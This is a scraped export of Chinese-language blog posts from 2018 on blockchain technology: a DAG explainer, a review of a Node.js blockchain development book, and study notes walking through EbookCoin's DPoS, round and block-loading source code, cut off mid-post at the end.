相比之下，DAG这种结构的应用，比传统区块链，是比较复杂的。不过以交易作为最小的粒度的模式，使得区块的效率得到了很大的提高。\n传统区块链技术的几个问题\nTPS：指的是每秒处理的交易数，在区链的体系里，每个区块是单位，包含着很多的交易，这样经过一个长达十分钟的区块周期，比特币的效率一直比较低，由于BlockChain链式的存储结构，整个网络同时只能有一条单链，基于POW共识机制出块无法并发执行；十分钟出一个块，6个出块才能确认(pow(1/2,6)即0.015625)，大约需要一个小时；以太坊大幅改善，出块速度也要十几秒。\n确定性问题：这个是当前的区链系统最大的问题，就是确定性问题。 在一条链上，通过PoW形成的链是没有一个最终的确定状态，比特币和以太坊存在51%算力攻击问题，基于POW共识的最大问题隐患；只要有隐藏着的极为强大的算力，和一个隐藏的足够长的链，这样的孤岛连接主网，瞬间可能巅峰目前的一切；考虑到现实中的ASIC，以及量子计算机，这种危险现实存在。\n中心化问题：基于区块的POW共识中， 矿工一方面可以形成集中化的矿场集团，另一方面，获得打包交易权的矿工拥有巨大权力，可以选择哪些交易进入区块，哪些交易不被处理，甚至可以只打包符合自己利益的交易，这样的风险目前已经是事实存在。\nDAG 的特性\n在DAG结构中，为了避免双花问题，当然还是有所谓的”主链“概念，不过实际上是经过验证认定的一条最短的交易路径。\n不想单单的一个是节点产生的区块，在DAG的条件下，每个产生的交易，都会引用过去的 N 个交易，这样，就会证明前一个交易的合法性，从而间接证明所有交易的合法性。\n这样的DAG就会有了很大的并行计算的能力，每个交易之间不再是打包成一个区块而是根据高度进行引用。没有手续费，交易产生的越多，处理速度反而是更快\n所以看起来DAG的确是有不少优点的存在。\n分布式系统中的一大难题就是，在可分区、一致性、可及性三者间，只能满足其二。\n区块链在高效率低能耗、去中心化和安全三个方面，只可选其二，存在“不可能三角”悖论。\n展望未来 “十到二十年之后，区块链技术发展到极致，彻底解决了可扩展性，安全性，易用性的问题之后，终局会是什么样子？\n世界上八十亿人，上万亿台机器，可以瞬间（迟滞低于一秒）通过区块链网络进行无需中介，无需许可，自动编程，费用极低的，可以信赖的价值交换，价值交换的单位可以低到一分，一厘，甚至更低。\n这是一个可以期待的发展局面之一。\n这样的价值交换网络铺开后，会催生以前不可能有的应用……\n率先在扩展性和易用性上达到一小时可以支持上百万，上亿笔交易的价值区块链，将会成为各种无法想象的应用的基石，吸引更多的用户和开发者。而各种应用的丰富，又将使这个区块链更加有价值，导致良性循环，强者亦强。”\n—- 引用自王川\n","date":"2018-06-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/06/2018-06-02-what-is-dag/","tags":null,"title":"What is DAG?"},{"categories":null,"contents":"前 从现在开始填涂，实现最初的构想\n简介 书名：Node.js 区块链开发 作者：朱志文 ISBN：9787111566953 源码和本书都是开源的,再次为 Open Free Share 呐喊\n本书链接 《Node.js区块链开发》\n项目链接 ebookcoin\n这本是实践入手，实现了自己的区块链项目，不再是单从理论出发。通过这本书，去开始实践。\n前 这本书是国内的 区链相关的一大经典的书籍了,不过综合讲,这本的知识是比较散的,对于其源码的分析,知识粗略的部分章节,跟随书本的源码阅读,也做了粗浅的笔记,见笑\nEbookCoin 系列\n所以这篇就是对本书的一本总结了,对一些内容进行摘录.\n正文 杂谈 这部分汇集每本书中精彩的小小的杂谈\n每本书的作者都有自己的风格\n价值传递网络的出现，可以使得万物互信，万物共享成为可能。\n作为未来互联网ed基础协议知已，区块链将支撑新型的新人体系的构建，由此引发的 “信誉革命” 可能远远超乎我们的想象.\n实际上,在比特币社区中,中本聪先生留下的代码的总量可能只有总规模的 2% 了.\n加密货币,是一种基于点对点网络(P2P网络),没有发行机构,总量基本固定的加密电子通货.\n资料参考 亿书白皮书\n经典的段落,这里做大量的引用.说的实在是有深度和道理 :\n利益，主宰着人类行为\n人活着到底是为了什么？我们每个人可能都问过自己这个问题。我们有时候踌躇满志，想要拥有一切。有时候又高尚地低下头，崇尚与世无争，无忧无虑。但在纷繁复杂的真实世界里，我们总会被某个力量牵引着，挣脱不开，欲罢不能。\n这个力量，就是追求利益的欲望。利益，是什么？从网上查到的解释是：\n利益是指人类用来满足自身欲望的一系列物质和精神需求，包括：金钱、权势、色欲、名声、地位等，但凡能满足人类欲望的事物， 均可称为 利益。利益依附欲望而生，而人的基因确定了欲望的存在，组成社会的基本元素是人，就不可避免地出现了：阶级、政治、 战争……利益冲突决定着一切。\n人们对利益的追求来源于人的本性。人具有三种本性，即求生的第一本性，懒惰的第二本性和不满足的第三本性（这是人和动物的根本区别）。所以，人们的利益也可以分为三类，即求生的利益，懒惰的利益以及不满足的利益。总之，人类欲望无止境。\n历史名人，对于利益的名言，也是值得学习和思考的。马克思说过：“人们奋斗所争取的一切，都同他们的利益有关”，列宁也说：“几何公理要是触犯了人们的利益，那也一定会被推翻的”，霍尔巴赫的话更加直白：“利益是人类行动的一切动力”。\n所以，我们不仅不用避讳谈利益，而且最好把利益作为我们分析和思考产品开发设计的根本因素。如此以来，对于理解人们为何对加密货币趋之若鹜就自然轻松多了。\n原文链接\n利益，网络释义\n区块链到底有哪些场景和市场前景\n共识 PoS(Proof of Stake) 股权证明机制,的机制的缺点:IPO发布,其持有的人群是部分人,所以其信用基础是不够牢固的.很难保证其不会大量的抛售.引起价值崩盘和恐慌.\nDPoS(Delegated Proof of Stake) 授权股权证明机制,通过投票选出主节点,不过事实的问题是投票的积极性并不高.\n为什么PoS与PoW不具有可比性\n“去中心化的比特币：从自组织到专业化分工”读后感\n区链架构 区块链的概念最近很火，它来自于比特币等加密货币的实现，但是目前，这项技术已经逐步运用在各个领域。什么是区块链技术？为了感性认识这个问题，我们可以使用谷歌地球的例子做类比，ajax不是什么新技术，但组合在一起就成就了产品谷歌地球，与之类似，区块链也不是什么新技术，但与加密解密技术、P2P网络等组合在一起，就诞生了比特币。技术人员，特别是Web开发工程师，学习了解ajax技术最早是被谷歌地球酷炫的效果所吸引。而现在，历史再一次重演，很多人被比特币的疯狂发展所吸引，进而开始研究其背后的技术——区块链。\n从架构设计上来说，区块链可以简单的分为三个层次，协议层、扩展层和应用层。其中，协议层又可以分为存储层和网络层，它们相互独立但又不可分割。\n个人理解上讲，区块链的构成的确如此，协议层，实现了区块链的基本运行，其中的 加解密，共识，mining。都是他的运行过程。然后在其区块链的基础上进行拓展，最出名的就是ETH的智能合约，使得区块的数据不仅仅是代币的额度，同样的可以有编译成的EVM的机器码，在各个节点运行智能合约。\n所以，区块链实际上是一个普适性的东西，可以实现了数据公开，透明，可追溯的产品架构设计方案。\n在另一个层次上讲，区块链，可以是具体的技术实现，比如是BTC的数据存储形式，数据库设计形式，或者文件设计形式。\n广义的区块链技术，必须包含点对点网络设计、加密技术应用、分布式算法的实现、数据存储技术的使用等4个方面，其他的可能涉及到分布式存储、机器学习、VR、物联网、大数据等。狭义的区块链仅仅涉及到数据存储技术，数据库或文件操作等。\n(这里作为科普内容讲的是很好的。)\n协议层，是维护着整个区块链的基本功能的层次，在其中的角色，可以分为客户端，和节点。节点节点之间，形成了去中心化的网络。客户端，拥有着最基本的功能。(建立地址，验证签名，转账支付，查看余额等)。节点拥有的功能包括(验证签名，区块记录，区块同步等)。这个层次，构成了我们的网络基础，交易通道，和节点奖励制度。实际上交易的内容是完全自选的。\n区块链所涉及到的技术，协议层主要包括网络编程、分布式算法、加密签名、数据存储技术等4个方面。\n比特币选择的是谷歌的LevelDB\n拓展层，更像是我们操作系统的API，这一层次，把之前的区块链的系统封装起来。向用户暴露封装好的功能。这里最重要的功能，就是我们的智能合约了，这个概念其实早有了，实际上的实现还是在 Ethereum 的项目里，得到了很好的应用和演化。这样可以通过我们自己的编码，得到我们想要的效果，自动转账，自动付款等等。\n应用层，相当于我们的应用程序了，现在很多Dapp的兴起，是的应用的；浪潮在汹涌，不过目前的确是没有一款杀手级的应用的出现。\n知识图谱\nNode.js 入门 GitHub 官方报告\n前10个应用简介(内容整理自原书) 我们使用github的搜索功能，并选择forks数量倒序排列，查询：\nbitcoin language:JavaScript 注意：每一个fork背后可能就是一个全新的产品，forks代表了程序被二次开发的情况，个人觉得对于技术选型相对更有说服力。\n前10个应用如下：\nbitpay/bitcore　1656颗星，429个分支\n源码网址: https://github.com/bitpay/bitcore\n第一位，这是bitpay团队的产品，号称下一代PayPal。这算是一个成功案例，足见Node.js开发加密货币的可行性。巴比特有专栏介绍。\nstartup-class/bitstarter-leaderboard 295颗星，386个分支\n源码网址：https://github.com/startup-class/bitstarter-leaderboard\n第二位，这是一个基于比特币开发众筹网站的模板程序。巴比特在做众筹，很多人也想进入这个领域，可以参考学习。\nbitcoinjs/bitcoinjs-lib 980颗星，305个分支\n源码网址：https://github.com/bitcoinjs/bitcoinjs-lib\n第三位，这是个比特币web钱包开发包，几乎当前市面上所有的基于网站的钱包都在用，牛x吧。\naskmike/gekko 866颗星，300个分支\n源码网址：https://github.com/askmike/gekko\n第四位，你也想推出一个像时代、okcoin那样的基于网页的交易市场吗，这个代码不容错过。不过，我个人觉得交易市场不仅仅是技术问题，Gekko也提醒您要自担风险。\nbitpay/insight-ui 354颗星，267个分支\n源码网址：https://github.com/bitpay/insight-ui\n第五位，这是bitpay放出的一个开发web钱包的UI包（要基于bitcoin-node)，看来当前开发钱包的需求还是比较大的。可以与排行第７位的bitpay/insight-api配合开发。\nkyledrake/coinpunk　733颗星，249个分支\n第六位，该项目是一个本地化的钱包服务程序，已经停止维护，取而代之的就是第３位的bitcoinjs-lib。\nbitpay/insight-api（略）\ncjb/GitTorrent 3065颗星，133个分支\n源码网址：https://github.com/cjb/GitTorrent\n第八位，不过它的好评3065颗星却是最高的。这是一个去中心化的Github，作者写了一篇博客详细解释了为什么Git也要去中心化。我本人觉得，这项目确实有意思，为我们开发去中心化的产品扩展了视野。基于这个项目思路，可以设想很多有价值的应用。\nbitcoinjs/bitcoinjs-server\n源码网址：https://github.com/bitcoinjs/bitcoinjs-server\n第九位，已经放弃维护了。\nuntitled-dice/untitled-dice.github.io　26颗星，114个分支\n源码网址：https://github.com/untitled-dice/untitled-dice.github.io 第十位，一个基于比特币的赌博网站源码。有意思的是，用户评价26颗星，很低，说明人们的价值观还是不喜欢赌博的。但是拷贝的分支却很多，对于开发者来说，这也算是比特币的一个落地应用。\nWhy Node.js ? 答案很简单，它供了诸多方便实用的工具\n组织方便：js没有模块化组织代码的能力。一个项目，js代码通常会分割在不同的文件中，以往的方式，处理起来非常头疼，现在利用Node.js的模块管理，可以让您彻底解脱； 资源广泛：Node.js的出现，让js第三方包像雨后春笋一样遍地开花。需要什么，一条命令，Node.js就帮您办了，这会带来极大便利； 全栈处理：开发完，还有很多事情要做，比如：要对前端代码js或css文件进行合并、压缩、混淆，以及项目部署等。体验过ruby on rails一键部署功能的小伙伴，都会印象深刻。Node.js也很容易做到，而且更加自然、流畅。 在官方的描述里面\nNode.js® is a JavaScript runtime built on Chrome’s V8 JavaScript engine. Node.js uses an event-driven, non-blocking I/O model that makes it lightweight and efficient.\n翻译过来就是\nNode.js® 是一个搭建在Chrome V8上的JavaScript即时运行平台，采用事件驱动、非阻塞I/O模型，既轻量又高效。\n后端代码示例\n使用了 express 的 web 服务框架\nvar express = require(\u0026#39;express\u0026#39;);var app = express();app.get(\u0026#39;/\u0026#39;, function (req, res) { res.send(\u0026#39;Hello World!\u0026#39;);});var server = app.listen(3000, function () { var host = server.address().address; var port = server.address().port; console.log(\u0026#39;Example app listening at http://%s:%s\u0026#39;, host, port);}); Node.js 编码事项 您必须知道的几个Node.js编码习惯\n亿书源码 EbookCoin 系列\n开发 这一部分，收集了一些开发内容和技巧。由于实在缺少前端经验，所以值对自己了解的知识做总结。\n非对称体系下的 加密和解密 文中给出了一个很好的小栗子，阐明了PKI的加密，解密，签名及签名验证的细节和实现\n三张图让你全面掌握加密解密技术\nCommander 使用 这个是一个命令行参数解析的模块，在py里面也是有类似的\ncommander介绍\n参考链接总汇 本书链接 《Node.js区块链开发》 项目链接 ebookcoin EbookCoin 系列 亿书白皮书 区块链到底有哪些场景和市场前景 为什么PoS与PoW不具有可比性 GitHub 官方报告 三张图让你全面掌握加密解密技术 commander介绍 精通比特币（英文）\n精通比特币（中文）\n《精通加密货币》作者Andreas问答\n区块链是什么\n比特币白皮书：一种点对点的电子现金系统 (ZH)\n尼克·萨博《比特金（BitGold）》白皮书\n拜占庭将军问题深入探讨\n后 《Node.js区块链开发》 这本是，从源码级的知识，实现了一个 亿书区块链的项目，知识是比较综合的，不过美中不足的是对于源码的讲解时不够深入，不够实际上还是我自己太菜了。。。\n总之，是一本好书，而且作者把书放在网上免费阅读，开源精神万岁！\n","date":"2018-06-01T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/06/2018-06-01-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6-node-js%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/","tags":null,"title":"读本好书 《Node.js区块链开发》"},{"categories":null,"contents":"前 这次的一个period是基于《Nodejs区块链开发》这本书的的区块链项目–亿书，的源码学习笔记\nEbookCoin项目地址\n这章是本书的，区块链项目的最后的一个部分了\nDPoS机制 简介 很多人说，整个区块链就是个分布式的软件嘛。实际不然，区块链的灵魂，就是存在于共识这两个字，共识才是区块链的灵魂。\n前面的博文其实也是讲过共识的这个东西。在区链里的这个概念太重要了。\n拜占庭将军与共识算法\nPy源码_挖矿\n“拜占庭将军问题” 就是针对分布式公式算法提出的，这个问题也是区块链产品 的核心问题.\n比特币是如何解决拜占庭将军问题的：\n维持周期循环，保持节点步调一致 通过算力竞赛，确保网络单点广播 通过区块链使用一个共同账本 上面的三点就是实现一个比特币的PoW机制解决 拜占庭将军问题的答案。这也给其他的答案提供了重要的参考答案：\n只要保证时间统一，步调一致，单点广播，一个链条 就可以解决分布式系统的拜占庭将军问题。\nDPoS 机制\n亿书区块链由受托人来创建区块，受托人是来自于用户节点的信任，通过推广和投票实现前 101名。这一就可以被系统接纳作为为真正的可以处理新区块的节点，并且可以得到区块奖励。至之于PoW的共识算法，需要最大算力。DPoS算是发挥了社区力量。不过实际上，通过票选这样的东西，我不是很看好，这样极大的提高了准入门槛。使得，投票，拉票这样的模式，又一次搬上了BC，区链的节点被固定在了这百来个节点之上。\n在DPoS的过程中是存在了这样的几个过程：\n注册受托人，接收投票 用户申请自己成为受托人，可以想做就是被选举人 接收投票 维持循环，调整受托人 块周期：时段周期，也就是出块时间 受托人周期：称为循环周期，每101个区块，重新产生了受托节点的名单。 奖励周期：由区块链的高度，来不断的调整区块奖励的量\n块周期最短 10s，受托人周期 16min， 区块奖励周期 不确定 循环产生新区块，广播 源码 文件包含 ./modules/delegates.js ./modules/round.js ./modules/accounts.js ./helper/slots.js delegates.js 受托人的相函数，申请，投票等\nround.js 受托人的循环周期\naccounts.js 实现用户的投票功能\nslots.js\n功能实现 注册受托人\n在网络上注册成为一个受托人 的函数实现\n\u0026#34;put /\u0026#34;: \u0026#34;addDelegate\u0026#34; 上面是绑定的路由接口，下面的是具体的功能实现\nshared.addDelegate = function (req, cb) { var body = req.body; library.scheme.validate(body, { ... // 对象结构验证 }, required: [\u0026#34;secret\u0026#34;] }, function (err) { if (err) { return cb(err[0].message); } var hash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(body.secret, \u0026#39;utf8\u0026#39;).digest(); var keypair = ed.MakeKeypair(hash); // 验证密码 if (body.publicKey) { if (keypair.publicKey.toString(\u0026#39;hex\u0026#39;) != body.publicKey) { return cb(\u0026#34;Invalid passphrase\u0026#34;); } } library.balancesSequence.add(function (cb) { if (body.multisigAccountPublicKey \u0026amp;\u0026amp; body.multisigAccountPublicKey != keypair.publicKey.toString(\u0026#39;hex\u0026#39;)) { modules.accounts.getAccount({publicKey: body.multisigAccountPublicKey}, function (err, account) { if (err) { return cb(err.toString()); } ... // modules.accounts.getAccount({publicKey: keypair.publicKey}, function (err, requester) { ... // try { // 这里创建一个交易，里面的type就是委托 var transaction = library.logic.transaction.create({ type: TransactionTypes.DELEGATE, username: body.username, sender: account, keypair: keypair, secondKeypair: secondKeypair, requester: keypair }); } catch (e) { return cb(e.toString()); } modules.transactions.receiveTransactions([transaction], cb); }); }); } else { ... // 投票\n同样的这也是一种交易方式，最早是出现在了 0x6 里面，作为一种 TYPE 出现。在 accounts 里面实现的。\n块周期\n这个周期可能是类比与 PoW 里面的一个块的计算周期，比特币的周期是 10分钟左右，因为 PoW 是基于概率出块的。所以是左右。但是在DPoS的机制下，在 ebook 里面是准确的 10秒钟的出块时间。\nEpoch 时期；新纪元；新时代；阶段\nSlot 槽，窗口\n时间的计算是通过这两个函数得到的时间节点，第一个是硬编码的创世时间，第二个是当前的时间\nfunction beginEpochTime() {\nvar d = new Date(Date.UTC(2016, 5, 20, 0, 0, 0, 0)); //Testnet starts from 2016.6.20return d; }\nfunction getEpochTime(time) {\nif (time === undefined) { time = (new Date()).getTime(); // 这里存在的问题是，这个是直接获取本地时间，如果不同的机器之间的本地时间是存在偏差的，那么可能导致时间不准}var d = beginEpochTime();var t = d.getTime();return Math.floor((time - t) / 1000); }\n前面讲到亿书的。出块时间是 10s 所以这里的块数，直接是返回了快创世时间，对区块周期的取整\ngetSlotNumber: function(epochTime) {\nif (epochTime === undefined) { epochTime = this.getTime()}// 这里就是直接返回了return Math.floor(epochTime / constants.slots.interval); },\n参数的意义\n这些值，出块时间必须10S吗？节点个数必须是 101个吗？ 如果我们对这个模式进行合理演绎，只有一个节点，这样的效率就得到了极大的提高，不过实际上，这就是一个单点系统，安全性就是 0 了，所以这个是一个折衷的过程。\n受托人周期\n作为中心节点的受托人的循环周期，前面有讲是 101 个区块周期，发生一次调整。及时更换公信节点。网络是随机的在101个节点中选取产出者，不过每个节点在一个周期内都是会有一次机会产出新的块的(只是顺序随机)。\n这样在每个区块的信息里面，会有 区块高度 (height) 和 产生机器的公钥(Generator Public Key)是严格对应的.在运行的节点，会有一个表，是用来维护当前的 受托人的内容的，具体的实现如下，看起来有点难受\nRound.prototype.tick = function (block, cb) { function done(err) { cb \u0026amp;\u0026amp; setImmediate(cb, err); } modules.accounts.mergeAccountAndGet({ ... // // 计算当前的委托人周期轮数，是可以通过其进行计算的 r=h/101 var nextRound = self.calc(block.height + 1); if (round !== nextRound || block.height == 1) { // 如果已经开始了下一轮的受托人循环 if (privated.delegatesByRound[round].length == constants.delegates || block.height == 1 || block.height == 101) { // 确认满足了，新的一轮的条件 var outsiders = []; async.series([ function (cb) { // 创世区块 if (block.height != 1) { // 这里是对受托人进行查表。 modules.delegates.generateDelegateList(block.height, function (err, roundDelegates) { if (err) { return cb(err); } // 遍历查到的 for (var i = 0; i \u0026lt; roundDelegates.length; i++) { // 在当前的列表中没有新的一轮的节点地址 if (privated.delegatesByRound[round].indexOf(roundDelegates[i]) == -1) { outsiders.push(modules.accounts.generateAddressByPublicKey(roundDelegates[i])); } } cb(); }); } else { cb(); } }, function (cb) { ... // }, function (cb) { // 在后面进行票数更新 self.getVotes(round, function (err, votes) { if (err) { return cb(err); } async.eachSeries(votes, function (vote, cb) { // 查询数据库，获取当前状态 library.dbLite.query(\u0026#39;update mem_accounts set vote = vote + $amount where address = $address\u0026#39;, { address: modules.accounts.generateAddressByPublicKey(vote.delegate), amount: vote.amount }, cb); }, function (err) { self.flush(round, function (err2) { cb(err || err2); }); }) }); }, function (cb) { // 对读出的节点票选数进行更新 var roundChanges = new RoundChanges(round); async.forEachOfSeries(privated.delegatesByRound[round], function (delegate, index, cb) { var changes = roundChanges.at(index); modules.accounts.mergeAccountAndGet({ publicKey: delegate, balance: changes.balance, u_balance: changes.balance, blockId: block.id, round: modules.round.calc(block.height), fees: changes.fees, rewards: changes.rewards }, function (err) { if (err) { return cb(err); } if (index === privated.delegatesByRound[round].length - 1) { modules.accounts.mergeAccountAndGet({ publicKey: delegate, balance: changes.feesRemaining, u_balance: changes.feesRemaining, blockId: block.id, round: modules.round.calc(block.height), fees: changes.feesRemaining }, cb); } else { cb(); } }); }, cb); }, function (cb) { // 这里是对每个票选项的数据库回写 self.getVotes(round, function (err, votes) { if (err) { return cb(err); } async.eachSeries(votes, function (vote, cb) { library.dbLite.query(\u0026#39;update mem_accounts set vote = vote + $amount where address = $address\u0026#39;, { address: modules.accounts.generateAddressByPublicKey(vote.delegate), amount: vote.amount }, cb); }, function (err) { library.bus.message(\u0026#39;finishRound\u0026#39;, round); self.flush(round, function (err2) { cb(err || err2); }); }) }); } ], function (err) { // 删除临时空间 delete privated.feesByRound[round]; delete privated.rewardsByRound[round]; delete privated.delegatesByRound[round]; done(err); }); } else { done(); } } else { done(); } });} 奖励周期\n在亿书的项目中，类似于BTC的四年一减产1/2的的情况，亿书的区块奖励一样的是，随着不同的时间进行衰减。在亿书中，最后ed区块奖励是衰减到一个定值的，意味着在后面的时期，会保持着不断的同比增发。引起适当的通胀。这也是DPoS的一个特点。\n这种，不同于 BTC 这是一种通胀货币，作者也有提到，说是担心对降低代币的价值。实际上，如果有大量的侧链，必须是要有一定的代币的产生来提供各种侧链产品的使用。不会导致主链和侧链绑定紧密，互相掣肘\n以太坊的运行，侧链应用使用主链币进行众筹时候，此消彼长，价格波动\n具体的实现细节很简单，就是维护一个 reward 的值就好了。 function Milestones() { var milestones = [ 500000000, // Initial Reward 400000000, // Milestone 1 300000000, // Milestone 2 200000000, // Milestone 3 100000000 // Milestone 4 ];这里就是奖励衰减的情况的五个里程碑 总结 从共识机制上理解了DPoS这种方法，之于PoW的确有很大的不同，更像是一种民主制度。通过票选我们的代表人,来实现区块的自治.\n时间统一，步调一致，单点广播，一个链条 便是一个分布式系统的特性.\n而且有 块周期,受托人周期,奖励周期这样几个周期\n后 这一篇,就是关于亿书的这个工程的最后一篇源码的文章了,很美可能会有奇迹对于项目总体的一篇总结文.\n一个区块链的体系,从各个部分功能的实现,和一个总体的构成,的确是一个精妙的过程.\n这里对 PoW和PoS这种共识的方式,做点自己的见解. 如我们熟知的黄金一样,对于金矿的开采, 处理这一过程,实际上会消耗大量的资源和成本,实际上我们的BTC体系也是如此,会消耗大量的资源.来产生这一的一个东西.所以不赞成,向部分人说的那样,把资源消耗在了没有意义的计算上 .\n像是POS这种机制,更多的是人们相信这个币是有价值的,是一种信任.和我们手上的纸币一样,其成本的价格实际上远远不足其本身的价值,只不过,是国家赋予了他的价值,我们信任它,我们认为他是有价值的,所以我们可以使用它,可是如果我们用人民币在美利坚大陆上,可能就是没有那么好使了.所以说,PoS的代币的价值是产生于我们的信任,如果存在着信任危机,那么这种币的价值是岌岌可危的.\n…\n","date":"2018-05-29T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/05/2018-05-29-ebookcoin-%E6%BA%90%E7%A0%81-0x8-fin/","tags":null,"title":"EbookCoin 源码 0x8 FIN"},{"categories":null,"contents":"前 这次的一个period是基于《Nodejs区块链开发》这本书的的区块链项目–亿书，的源码学习笔记\nEbookCoin项目地址\n要把不。。\n区块链 简介 书中的这章实际上是一个狭义上的区块链，把区块链作为一个数据结构的，把它存储为一个文件形式的，不过大多数是存储在一个数据库中的。每个区块的记录都是时间上的上一个区块。所以作为一个链，可以直接回溯到第一个区块。一个区块的ID，可就是作为区块的检验和认证。\n与区块链对应的直接的关系的是交易表，在cryptoCurrency体系中存在着大量的交易，在区块中包含着我们的资产信息的交易表，这样就可以查到我们公信的交易记录。\n在区块链中的写操作，实际上就是在区块链上记录信息\n所以在区块链上记录信息，比如这个\nPeking University teachers and classmates\n或者又是一个智能合约 可以使得区块链系统，在特定的情况下执行一个目的的合约条件.\n一个节点的操作:有创建新区块，和同步区块并解决分叉。\n文件包含 ./modules/blocks.js ./logic/block.js ./module/loader.js blocks.js 定义区块操作函数的具体实现\nblock.js 定义区块这个基本的对象结构\nloader.js 用来处理区块链同步事件\n基本概念 栈用来表示一个有前后顺序的结构,在btc里面把链作为了栈的演化,第一个区块作为栈底,后面的区块按时间顺序一次的在其上面堆叠,这样 就是区块高度的这词的由来.\n分叉:新区块传播时间差导致/人为分叉(系统规则改变)/软硬分叉\n堆栈方式理解数据结构,并且采用自引用的关联方式设计数据库模型,和加密解密技术,而且运行在一个P2P的网络上,有大家共同的进行维护才是一个区块链\n区块链产品的特点:\n分布式存储 公开透明 无法篡改 方便追溯 区块链设计实际要解决的问题\n加载本地的区块文件 保存创世区块 加载本地区块链 验证本地区块链 处理新区块 创建新区块 写入区块交易 区块入链 处理区块链分叉 同步区块链 保持本地的区块链与网络中的区块链同步 代码实现 本地区块文件 创世区块\n这里就是区块链高度是0的区块的构造函数,在启动区块链的服务的实话,会创建这个实例.其中是指定了创世区块的编码.\nfunction Blocks(cb, scope) { library = scope; genesisblock = library.genesisblock; self = this; self.__private = privated; privated.attachApi(); privated.saveGenesisBlock(function (err) { setImmediate(cb, err, self); });} 其具体的内容在GensisBlock里面保存着.创世去看也是一个标准区块,和普通的区块没有什么实质性的差别,其中也保存着一些交易,是对账户的初始化,和其中测试的一些内容\n{ \u0026#34;version\u0026#34;: 0, \u0026#34;totalAmount\u0026#34;: 10000000000000000, \u0026#34;totalFee\u0026#34;: 0, \u0026#34;payloadHash\u0026#34;: \u0026#34;f14eafcab4ce055b04f369fcc9c1afd31dd8903f1fc7cf6674a1b6e833d200d1\u0026#34;, \u0026#34;timestamp\u0026#34;: 0, \u0026#34;numberOfTransactions\u0026#34;: 103, \u0026#34;payloadLength\u0026#34;: 20326, \u0026#34;previousBlock\u0026#34;: null, \u0026#34;generatorPublicKey\u0026#34;: \u0026#34;c79750916ed4c2b6dc4a3fe9e30efbc9cf58607f4420dc64454ece02a08e1fb5\u0026#34;, \u0026#34;transactions\u0026#34;: [ ... }, \u0026#34;signature\u0026#34;: \u0026#34;e1712ea3ea45534b582c9d42b4e0dafb65615d569cd7ffd6b886533d2c3a60ec24f715126dfc0e1d54b6d98cf22fb1698fa9e6e57b28e1e1770c39f74f2e160c\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;3491871562583833419\u0026#34; } ], \u0026#34;height\u0026#34;: 1, \u0026#34;blockSignature\u0026#34;: \u0026#34;b7312773191f876cd69b31a2b4815755a77b05df49e23b3c10dad2e3ff220478b46d1825df552c9ea48771a19a6efa1bf5882c92917c9b65324875c831515c06\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;15719620766428602938\u0026#34;} 区块文件加载\n加载本地的数据库文件,先是查询数据库,之后进行解析\nBlocks.prototype.loadBlocksOffset = function (limit, offset, verify, cb) { var newLimit = limit + (offset || 0); var params = {limit: newLimit, offset: offset || 0}; library.dbSequence.add(function (cb) { library.dbLite.query(\u0026#34;SELECT \u0026#34; + \u0026#34;b.id, b.version, b.timestamp, b.height, b.previousBlock, b.numberOfTransactions, b.totalAmount, b.totalFee, b.reward, b.payloadLength, lower(hex(b.payloadHash)), lower(hex(b.generatorPublicKey)), lower(hex(b.blockSignature)), \u0026#34; + ... // 很长的数据库查询语句 \u0026#34;\u0026#34;, params, privated.blocksDataFields, function (err, rows) { // Notes: // If while loading we encounter an error, for example, an invalid signature on a block \u0026amp; transaction, then we need to stop loading and remove all blocks after the last good block. We also need to process all transactions within the block. if (err) { return cb(err); } // 查询结果保存在 row里.后面进行解析 var blocks = privated.readDbRows(rows); async.eachSeries(blocks, function (block, cb) { async.series([ function (cb) { // 判断是不是创世区块 if (block.id != genesisblock.block.id) { if (verify) { if (block.previousBlock != privated.lastBlock.id) { return cb({ message: \u0026#34;Can\u0026#39;t verify previous block\u0026#34;, block: block }); } try { // 这里对整个链进行交易 var valid = library.logic.block.verifySignature(block); } ... // 这里如果区块校验失败.那么删除当前区块,和后面的区块 if (!valid) { // Need to break cycle and delete this block and blocks after this block return cb({ message: \u0026#34;Can\u0026#39;t verify signature\u0026#34;, block: block }); } modules.delegates.validateBlockSlot(block, function (err) { if (err) { return cb({ message: \u0026#34;Can\u0026#39;t verify slot\u0026#34;, block: block }); } cb(); }); } else { setImmediate(cb); } } else { setImmediate(cb); } }, function (cb) { // 对交易内容进行排序,使得投票和签名交易排在前面 block.transactions = block.transactions.sort(function (a, b) { ... // return 0; }); async.eachSeries(block.transactions, function (transaction, cb) { if (verify) { modules.accounts.setAccountAndGet({publicKey: transaction.senderPublicKey}, function (err, sender) { if (err) { ... // } if (verify \u0026amp;\u0026amp; block.id != genesisblock.block.id) { library.logic.transaction.verify(transaction, sender, function (err) { if (err) { ... } privated.applyTransaction(block, transaction, sender, cb); }); } else { // 不需要验证,或者是创世区块 privated.applyTransaction(block, transaction, sender, cb); } }); } else { setImmediate(cb); } }, function (err) { if (err) { // 这里是发生错误的时候 library.logger.error(err); var lastValidTransaction = block.transactions.findIndex(function (trs) { return trs.id == err.transaction.id; }); var transactions = block.transactions.slice(0, lastValidTransaction + 1); // 进行数据回滚 /// ... } else { privated.lastBlock = block; // 更新区块 modules.round.tick(privated.lastBlock, cb); // ... 这里是区块的签名校验的函数,可以清楚的看到,对区块的合法性的校验,是基于对取 hash 的值的的校验. Block.prototype.verifySignature = function (block) { var remove = 64; try { var data = this.getBytes(block); var data2 = new Buffer(data.length - remove); for (var i = 0; i \u0026lt; data2.length; i++) { data2[i] = data[i]; } var hash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(data2).digest(); //保存其hesh var blockSignatureBuffer = new Buffer(block.blockSignature, \u0026#39;hex\u0026#39;); var generatorPublicKeyBuffer = new Buffer(block.generatorPublicKey, \u0026#39;hex\u0026#39;); // 验证hash var res = ed.Verify(hash, blockSignatureBuffer || \u0026#39; \u0026#39;, generatorPublicKeyBuffer || \u0026#39; \u0026#39;); } catch (e) { throw Error(e.toString()); } return res; } 新区块 创建新区块\n在创建一个新的区块，对待打包的交易数据进行校验，合法的校验将会被打包到区块中去，后面的process函数，负责区块信息的后面的处理。\nBlocks.prototype.generateBlock = function (keypair, timestamp, cb) { var 